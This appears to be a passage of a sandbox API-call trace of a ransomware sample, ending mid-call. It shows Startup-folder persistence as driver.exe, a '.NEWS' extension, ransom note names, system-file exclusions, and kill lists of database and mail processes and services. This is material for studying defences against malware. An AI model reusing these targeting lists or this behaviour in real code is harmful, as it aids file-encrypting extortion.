[0188.537] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fcec8 | out: hHeap=0x880000) returned 1 [0188.538] lstrlenW (lpString="") returned 0 [0188.538] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f0bc8 | out: hHeap=0x880000) returned 1 [0188.538] lstrlenW (lpString=".NEWS") returned 5 [0188.538] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b55b0, Size=0x8) returned 0x8b55b0 [0188.538] lstrlenW (lpString=".NEWS") returned 5 [0188.538] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f0bc8 | out: hHeap=0x880000) returned 1 [0188.538] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f0bf8, Size=0x20) returned 0x8b5c88 [0188.538] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5c88, Size=0x40) returned 0x8b6ea0 [0188.538] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6ea0, Size=0x80) returned 0x8faee0 [0188.539] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9610, Size=0x8) returned 0x8b9620 [0188.539] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9620, Size=0x10) returned 0x8f0bf8 [0188.539] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f0bf8, Size=0x20) returned 0x8b5cd8 [0188.539] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0188.539] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8faee0 | out: hHeap=0x880000) returned 1 [0188.539] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f0c28, Size=0x20) returned 0x8b5d00 [0188.539] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5d00, Size=0x40) returned 0x8b6ea0 [0188.539] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0188.539] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0188.540] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6ea0 | out: hHeap=0x880000) returned 1 [0188.540] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f0c28, Size=0x20) returned 0x8b5d00 [0188.540] lstrlenW (lpString="Info.hta") returned 8 [0188.540] lstrlenW (lpString="Info.hta") returned 8 [0188.540] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d00 | out: hHeap=0x880000) returned 1 [0188.542] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x90ffe8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe")) returned 0x66 [0192.940] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x90ffe8 | out: hHeap=0x880000) returned 1 [0192.940] lstrlenW (lpString="driver.exe") returned 10 [0192.940] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5cd8, Size=0x40) returned 0x8b6f78 [0192.941] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920050, Size=0x20) returned 0x8b5cd8 [0192.942] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920050, Size=0x20) returned 0x8b5f58 [0192.943] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5f58, Size=0x40) returned 0x8b6fc0 [0192.943] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6fc0, Size=0x80) returned 0x8faee0 [0192.943] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8fcec8 [0192.943] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0192.943] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fcec8 | out: hHeap=0x880000) returned 1 [0192.943] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x90ffe8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0192.943] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x9205d8 | out: hHeap=0x880000) returned 1 [0192.943] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x90ffe8 | out: hHeap=0x880000) returned 1 [0192.947] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9530, Size=0x8) returned 0x8b9620 [0192.948] lstrlenW (lpString="%windir%;") returned 9 [0192.948] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cd8 | out: hHeap=0x880000) returned 1 [0192.948] lstrlenW (lpString="C:\\Windows;") returned 11 [0192.948] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8caec8 | out: hHeap=0x880000) returned 1 [0192.948] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920068, Size=0x20) returned 0x8b5cd8 [0192.948] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5cd8, Size=0x40) returned 0x8b6fc0 [0192.948] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6fc0, Size=0x80) returned 0x8faee0 [0192.948] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8fcec8 [0192.948] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9640, Size=0x8) returned 0x8b9650 [0192.949] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9650, Size=0x10) returned 0x9200b0 [0192.949] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x9200b0, Size=0x20) returned 0x8b5cd8 [0192.949] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9530, Size=0x8) returned 0x8b9650 [0192.949] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9610, Size=0x8) returned 0x8b9530 [0192.949] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9640, Size=0x8) returned 0x8b9660 [0192.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9660, Size=0x10) returned 0x920158 [0192.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920158, Size=0x20) returned 0x8b5f58 [0192.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9650, Size=0x10) returned 0x920158 [0192.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9530, Size=0x10) returned 0x920188 [0192.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9650, Size=0x8) returned 0x8b9640 [0192.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9670, Size=0x8) returned 0x8b9680 [0192.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920158, Size=0x20) returned 0x8b5f80 [0192.951] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920188, Size=0x20) returned 0x8b5fa8 [0192.951] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9690, Size=0x8) returned 0x8b96a0 [0192.951] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920200, Size=0x20) returned 0x8b5ff8 [0192.951] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x8caec8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0192.951] lstrlenW (lpString="C:\\") returned 3 [0192.951] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0192.953] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8caec8 | out: hHeap=0x880000) returned 1 [0192.955] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b96d0, Size=0x82) returned 0x8fd030 [0192.955] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b96f0, Size=0x100) returned 0x8fd0c0 [0192.955] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd030, Size=0x104) returned 0x8fd2e8 [0192.955] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd0c0, Size=0x200) returned 0x8fd3f8 [0192.956] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b96e0 | out: hHeap=0x880000) returned 1 [0192.956] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd3f8 | out: hHeap=0x880000) returned 1 [0192.956] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x9202a8 | out: hHeap=0x880000) returned 1 [0192.956] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb078 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x920260 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb100 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x920290 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd2e8 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x920278 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd1c8 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x9202c0 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd258 | out: hHeap=0x880000) returned 1 [0192.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x9202d8 | out: hHeap=0x880000) returned 1 [0192.957] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x9202d8, Size=0x20) returned 0x8b6020 [0192.957] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6020, Size=0x40) returned 0x8b6fc0 [0192.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920248, Size=0x20) returned 0x8b6020 [0192.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6020, Size=0x40) returned 0x8b7008 [0192.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b7008, Size=0x80) returned 0x8faee0 [0192.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8fd338 [0192.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd338, Size=0x200) returned 0x8fd338 [0192.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd338, Size=0x400) returned 0x8fd338 [0192.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd338, Size=0x800) returned 0x8fd338 [0192.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd338, Size=0x1000) returned 0x9305f8 [0192.968] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9690, Size=0x8) returned 0x8b96b0 [0192.968] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b96b0, Size=0x10) returned 0x920278 [0192.968] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x920278, Size=0x20) returned 0x8b6020 [0192.968] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6020, Size=0x40) returned 0x8b7008 [0192.968] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b7008, Size=0x80) returned 0x8faee0 [0192.969] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x931a00 [0192.969] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x931a00, Size=0x200) returned 0x931a00 [0192.969] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x931a00, Size=0x400) returned 0x931a00 [0192.969] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x931a00, Size=0x800) returned 0x8f3d78 [0192.969] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f46e8, Size=0x20) returned 0x8b6020 [0192.970] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6020, Size=0x40) returned 0x8b7008 [0192.970] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b7008, Size=0x80) returned 0x8faee0 [0192.970] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9830, Size=0x8) returned 0x8b9840 [0192.970] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9840, Size=0x10) returned 0x8f46e8 [0192.970] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f46e8, Size=0x20) returned 0x930638 [0192.970] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4718, Size=0x20) returned 0x930660 [0192.970] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930660, Size=0x40) returned 0x8b7008 [0192.970] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0192.971] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4718, Size=0x20) returned 0x930660 [0192.971] lstrlenW (lpString="Info.hta") returned 8 [0192.971] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x90ffe8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe")) returned 0x66 [0193.010] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x90ffe8 | out: hHeap=0x880000) returned 1 [0193.011] lstrlenW (lpString="driver.exe") returned 10 [0193.011] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930638, Size=0x40) returned 0x8b70e0 [0193.011] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4820, Size=0x20) returned 0x930638 [0193.012] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4820, Size=0x20) returned 0x9307c8 [0193.012] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x9307c8, Size=0x40) returned 0x8b7128 [0193.012] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b7128, Size=0x80) returned 0x8faee0 [0193.013] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8fddc0 [0193.013] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0193.013] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fddc0 | out: hHeap=0x880000) returned 1 [0193.013] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x90ffe8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0193.013] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x931d30 | out: hHeap=0x880000) returned 1 [0193.013] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x90ffe8 | out: hHeap=0x880000) returned 1 [0193.016] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9830, Size=0x8) returned 0x930e10 [0193.016] lstrlenW (lpString="%windir%;") returned 9 [0193.016] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x930638 | out: hHeap=0x880000) returned 1 [0193.017] lstrlenW (lpString="C:\\Windows;") returned 11 [0193.017] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8caec8 | out: hHeap=0x880000) returned 1 [0193.017] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4838, Size=0x20) returned 0x930638 [0193.017] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930638, Size=0x40) returned 0x8b7128 [0193.017] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b7128, Size=0x80) returned 0x8faee0 [0193.017] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8fddc0 [0193.017] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e40, Size=0x8) returned 0x930e50 [0193.018] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e50, Size=0x10) returned 0x8f4880 [0193.018] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4880, Size=0x20) returned 0x930638 [0193.018] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9830, Size=0x8) returned 0x930e50 [0193.018] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e20, Size=0x8) returned 0x8b9830 [0193.018] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e40, Size=0x8) returned 0x930e60 [0193.018] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e60, Size=0x10) returned 0x8f4928 [0193.019] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4928, Size=0x20) returned 0x9307c8 [0193.019] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e50, Size=0x10) returned 0x8f4928 [0193.019] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9830, Size=0x10) returned 0x8f4958 [0193.019] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e50, Size=0x8) returned 0x930e40 [0193.019] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e70, Size=0x8) returned 0x930e80 [0193.019] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4928, Size=0x20) returned 0x9307f0 [0193.019] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4958, Size=0x20) returned 0x930818 [0193.020] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930e90, Size=0x8) returned 0x930ea0 [0193.020] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f49d0, Size=0x20) returned 0x930868 [0193.020] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x8caec8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0193.020] lstrlenW (lpString="C:\\") returned 3 [0193.021] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0193.022] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8caec8 | out: hHeap=0x880000) returned 1 [0193.023] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930ed0, Size=0x82) returned 0x9311f8 [0193.023] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930ef0, Size=0x100) returned 0x931288 [0193.023] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x9311f8, Size=0x104) returned 0x9314b0 [0193.024] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x931288, Size=0x200) returned 0x8f7d88 [0193.025] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x930ee0 | out: hHeap=0x880000) returned 1 [0193.025] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f7d88 | out: hHeap=0x880000) returned 1 [0193.025] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f4a78 | out: hHeap=0x880000) returned 1 [0193.025] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb100 | out: hHeap=0x880000) returned 1 [0193.025] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f4a30 | out: hHeap=0x880000) returned 1 [0193.025] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb078 | out: hHeap=0x880000) returned 1 [0193.025] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f4a60 | out: hHeap=0x880000) returned 1 [0193.026] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x9314b0 | out: hHeap=0x880000) returned 1 [0193.026] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f4a48 | out: hHeap=0x880000) returned 1 [0193.026] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x931390 | out: hHeap=0x880000) returned 1 [0193.026] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f4a90 | out: hHeap=0x880000) returned 1 [0193.026] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x931420 | out: hHeap=0x880000) returned 1 [0193.026] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f4aa8 | out: hHeap=0x880000) returned 1 [0193.026] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4aa8, Size=0x20) returned 0x930890 [0193.027] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x930890, Size=0x40) returned 0x8b7128 [0193.029] WaitForMultipleObjects (nCount=0x2, lpHandles=0x8b7ee0*=0x14c, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 57 os_tid = 0x55c Thread: id = 59 os_tid = 0x5ec [0188.447] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe8f8 [0188.447] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe8f8, Size=0x20) returned 0x894638 [0188.447] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894638, Size=0x40) returned 0x8b6d38 [0188.447] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6d38, Size=0x80) returned 0x8faee0 [0188.448] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8feed8 [0188.448] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe8f8 [0188.448] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe8f8, Size=0x20) returned 0x894638 [0188.448] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894638, Size=0x40) returned 0x8b6d38 [0188.448] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6d38, Size=0x80) returned 0x8faee0 [0188.448] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8b9c80 [0188.448] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe8f8 [0188.448] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8b9530 [0188.448] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe910 [0188.448] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9530, Size=0x8) returned 0x8b9540 [0188.448] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b61b8 [0188.449] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9540, Size=0x10) returned 0x8fe928 [0188.449] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b61d8 [0188.449] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x894638 [0188.449] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe928, Size=0x20) returned 0x894660 [0188.449] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1c) returned 0x894610 [0188.449] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x16) returned 0x8b61f8 [0188.449] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x8b5b98 [0188.449] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8fe928 [0188.449] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8b9540 [0188.449] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40) returned 0x8b6d38 [0188.449] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9540, Size=0x8) returned 0x8b9530 [0188.450] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x3c) returned 0x8b6d80 [0188.450] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9530, Size=0x10) returned 0x8fe940 [0188.450] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b6218 [0188.450] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b6238 [0188.450] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe940, Size=0x20) returned 0x8b5be8 [0188.450] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8b55c0 [0188.450] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0188.450] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8feed8 | out: hHeap=0x880000) returned 1 [0188.450] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0188.450] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b9c80 | out: hHeap=0x880000) returned 1 [0188.450] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b5d00 [0188.791] EnumServicesStatusExW (in: hSCManager=0x8b5d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0188.800] GetLastError () returned 0xea [0188.800] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x920138 [0188.800] EnumServicesStatusExW (in: hSCManager=0x8b5d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x920138, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x920138, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0188.802] CloseServiceHandle (hSCObject=0x8b5d00) returned 1 [0188.803] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0188.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.803] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0188.803] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0188.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0188.803] lstrlenW (lpString="AudioSrv") returned 8 [0188.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0188.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0188.804] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0188.804] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0188.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0188.804] lstrlenW (lpString="BFE") returned 3 [0188.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0188.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0188.804] lstrcmpiW 